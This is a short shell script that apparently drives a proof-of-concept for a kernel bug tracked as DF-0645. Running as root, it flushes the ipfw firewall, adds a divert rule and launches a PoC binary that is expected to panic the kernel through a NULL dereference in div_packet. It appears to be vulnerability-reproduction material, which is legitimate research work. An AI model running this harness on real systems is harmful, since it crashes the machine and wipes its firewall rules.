#!/bin/sh
# Run script for DF-0645 PoC. Must be run as root (divert socket requires
# SYSCAP_RESTRICTEDROOT). The kernel should panic at div_packet+0x..
# NULL deref on rcvif.
set -e
cd "$(dirname "$0")"

if [ "$(id -u)" != "0" ]; then
    echo "DF-0645: must be run as root" >&2
    exit 1
fi

# Ensure ipfw.ko is loaded and a divert rule is in place.
kldload ipfw.ko 2>/dev/null || true
ipfw -q flush
ipfw -q add 1000 allow ip from any to any
ipfw -q add 100 divert 12345 ip from any to any

echo "[*] ipfw rules:"
ipfw list

echo "[*] running PoC (expect kernel panic from div_packet NULL rcvif deref)"
./df0645_poc 12345
echo "RUN_EXIT=$?"